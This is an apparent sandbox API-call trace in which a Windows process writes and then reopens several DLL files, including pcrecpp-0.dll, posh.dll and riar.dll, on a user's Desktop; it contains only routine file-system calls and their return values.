[0127.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcre-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x410
[0127.994] GetFileType (hFile=0x410) returned 0x1
[0127.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.994] GetFileType (hFile=0x410) returned 0x1
[0127.994] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcrecpp-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414
[0128.001] GetFileType (hFile=0x414) returned 0x1
[0128.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.001] GetFileType (hFile=0x414) returned 0x1
[0128.001] WriteFile (in: hFile=0x414, lpBuffer=0x26041d0*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x26041d0*, lpNumberOfBytesWritten=0x2ea818*=0x8000, lpOverlapped=0x0) returned 1
[0128.003] CloseHandle (hObject=0x414) returned 1
[0128.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcrecpp-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28acc6a0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28acc6a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28af2800, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
[0128.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll", lpFilePart=0x0) returned 0x33
[0128.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcrecpp-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcrecpp-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414
[0128.009] GetFileType (hFile=0x414) returned 0x1
[0128.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.009] GetFileType (hFile=0x414) returned 0x1
[0128.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcreposix-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x418
[0128.019] GetFileType (hFile=0x418) returned 0x1
[0128.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.019] GetFileType (hFile=0x418) returned 0x1
[0128.019] WriteFile (in: hFile=0x418, lpBuffer=0x260d368*, nNumberOfBytesToWrite=0x2600, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x260d368*, lpNumberOfBytesWritten=0x2ea818*=0x2600, lpOverlapped=0x0) returned 1
[0128.021] CloseHandle (hObject=0x418) returned 1
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcreposix-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28af2800, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28af2800, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b18960, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
[0128.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll", lpFilePart=0x0) returned 0x35
[0128.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcreposix-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcreposix-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x418
[0128.027] GetFileType (hFile=0x418) returned 0x1
[0128.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.027] GetFileType (hFile=0x418) returned 0x1
[0128.027] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.048] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c
[0128.049] GetFileType (hFile=0x41c) returned 0x1
[0128.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.049] GetFileType (hFile=0x41c) returned 0x1
[0128.049] WriteFile (in: hFile=0x41c, lpBuffer=0x2610b10*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2610b10*, lpNumberOfBytesWritten=0x2ea818*=0x1a00, lpOverlapped=0x0) returned 1
[0128.051] CloseHandle (hObject=0x41c) returned 1
[0128.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b3eac0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b3eac0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b3eac0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
[0128.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll", lpFilePart=0x0) returned 0x2e
[0128.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c
[0128.055] GetFileType (hFile=0x41c) returned 0x1
[0128.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.055] GetFileType (hFile=0x41c) returned 0x1
[0128.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x420
[0128.066] GetFileType (hFile=0x420) returned 0x1
[0128.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.067] GetFileType (hFile=0x420) returned 0x1
[0128.067] WriteFile (in: hFile=0x420, lpBuffer=0x2613630*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2613630*, lpNumberOfBytesWritten=0x2ea818*=0x2c00, lpOverlapped=0x0) returned 1
[0128.069] CloseHandle (hObject=0x420) returned 1
[0128.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b64c20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28b64c20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28b8ad80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00)) returned 1
[0128.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll", lpFilePart=0x0) returned 0x30
[0128.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\posh-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\posh-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x420
[0128.083] GetFileType (hFile=0x420) returned 0x1
[0128.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.083] GetFileType (hFile=0x420) returned 0x1
[0128.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x424
[0128.549] GetFileType (hFile=0x424) returned 0x1
[0128.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.549] GetFileType (hFile=0x424) returned 0x1
[0128.549] WriteFile (in: hFile=0x424, lpBuffer=0x26173a0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x26173a0*, lpNumberOfBytesWritten=0x2ea818*=0x4000, lpOverlapped=0x0) returned 1
[0128.551] CloseHandle (hObject=0x424) returned 1
[0128.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0128.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28fdb560, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28fdb560, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x290016c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
[0128.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0128.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll", lpFilePart=0x0) returned 0x2e
[0128.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0128.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x424
[0128.556] GetFileType (hFile=0x424) returned 0x1
[0128.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0128.556] GetFileType (hFile=0x424) returned 0x1
[0128.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0128.674] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
[0128.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0128.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riar-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428
[0128.675] GetFileType (hFile=0x428) returned 0x1
[0128.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0128.675] GetFileType (hFile=0x428) returned 0x1
[0128.675] WriteFile (in: hFile=0x428, lpBuffer=0x261c4c0*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x261c4c0*, lpNumberOfBytesWritten=0x2ea818*=0x8000, lpOverlapped=0x0) returned 1
[0128.679] CloseHandle (hObject=0x428) returned 1
[0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\riar-2.dll", lpFilePart=0x0) returned 0x30
